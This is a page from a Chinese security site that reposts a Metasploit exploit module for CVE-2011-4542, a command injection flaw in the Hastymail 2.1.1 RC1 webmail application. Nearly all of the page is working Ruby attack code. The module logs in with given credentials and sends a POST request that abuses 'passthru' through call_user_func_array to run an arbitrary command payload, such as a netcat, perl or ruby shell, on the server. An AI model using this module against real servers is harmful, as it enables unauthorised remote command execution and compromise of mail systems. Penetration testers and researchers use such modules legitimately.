首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hastymail 2.1.1 RC1 Command Injection
来源:http://www.metasploit.com 作者:vazquez 发布时间:2012-07-13  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Hastymail 2.1.1 RC1 Command Injection",
            'Description'    => %q{
                    This module exploits a command injection vulnerability found in Hastymail
                2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
                the "lib/ajax_functions.php" script. Authentication is required on Hastymail
                in order to exploit the vulnerability. The module has been successfully tested
                on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Bruno Teixeira', # Vulnerability Discovery
                    'juan vazquez' # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2011-4542' ],
                    [ 'BID', '50791' ],
                    [ 'OSVDB', '77331' ],
                    [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
                ],
            'Payload'        =>
                {
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic perl ruby netcat-e',
                        }
                },
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,
            'Targets'        =>
                [
                    ['Hastymail 2.1.1 RC1', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 22 2011",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
                OptString.new('USER', [true, "The username to authenticate with", ""]),
                OptString.new('PASS', [true, "The password to authenticate with", ""])
            ], self.class)
    end


    def check
        @uri = target_uri.path
        @uri << '/' if @uri[-1,1] != '/'
        @session_id = ""
        @peer = "#{rhost}:#{rport}"

        login

        if not @session_id or @session_id.empty?
            print_error "#{@peer} - Authentication failed"
            return Exploit::CheckCode::Unknown
        end

        test = rand_text_alpha(rand(4) + 4)
        data = "rs=passthru&"
        data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
        data << "rsargs[]=echo #{test}"
        res = send_request_cgi({
            'method' => 'POST',
            'uri' => "#{@uri}",
            'Cookie' => @session_id,
            'data' => data
        })

        if res and res.code == 200 and res.body =~ /#{test}/
            return Exploit::CheckCode::Vulnerable
        else
            return Exploit::CheckCode::Safe
        end
    end

    def login
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{@uri}?page=login",
            'vars_post' =>
            {
                'user' => datastore['USER'],
                'pass' => datastore['PASS'],
                'login' => 'Login'
            }
        })

        if res and res.code == 303
            @session_id = res["Set-Cookie"]
            print_good "#{@peer} - Authentication successfully"
        end
    end

    def exploit
        @uri = target_uri.path
        @uri << '/' if @uri[-1,1] != '/'
        @session_id = ""
        @peer = "#{rhost}:#{rport}"

        print_status "#{@peer} - Trying login"
        login

        if not @session_id or @session_id.empty?
            print_error "#{@peer} - Authentication failed"
            return
        end

        print_status "#{@peer} - Authentication successfully, trying to exploit"

        data = "rs=passthru&"
        data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
        data << "rsargs[]=#{payload.encoded}"

        res = send_request_cgi({
            'method' => 'POST',
            'uri' => "#{@uri}",
            'Cookie' => @session_id,
            'headers' => {
                'Cmd' => Rex::Text.encode_base64(payload.encoded)
            },
            'data' => data
        })

        if not res or res.code != 200 or not res.body =~ /\+/
            print_error "#{@peer} - Exploitation failed"
            return
        end

    end


end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZipItFast PRO v3.0 Heap Overfl
·Siemens Simatic S7-300/400 CPU
·WaveSurfer 1.8.8p4 <= Memory C
·Siemens Simatic S7-300 PLC Rem
·FileZilla Server version 0.9.4
·Siemens Simatic S7-1200 CPU ST
·Netcat 1.11 Crash POC
·Java Applet Field Bytecode Ver
·Intel Core2Duo cpu cache contr
·Telnet Ftp Server <= Memory Co
·beSTORM ActiveX (WinGraphviz.d
·Check Point Abra Bypass / Comm
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved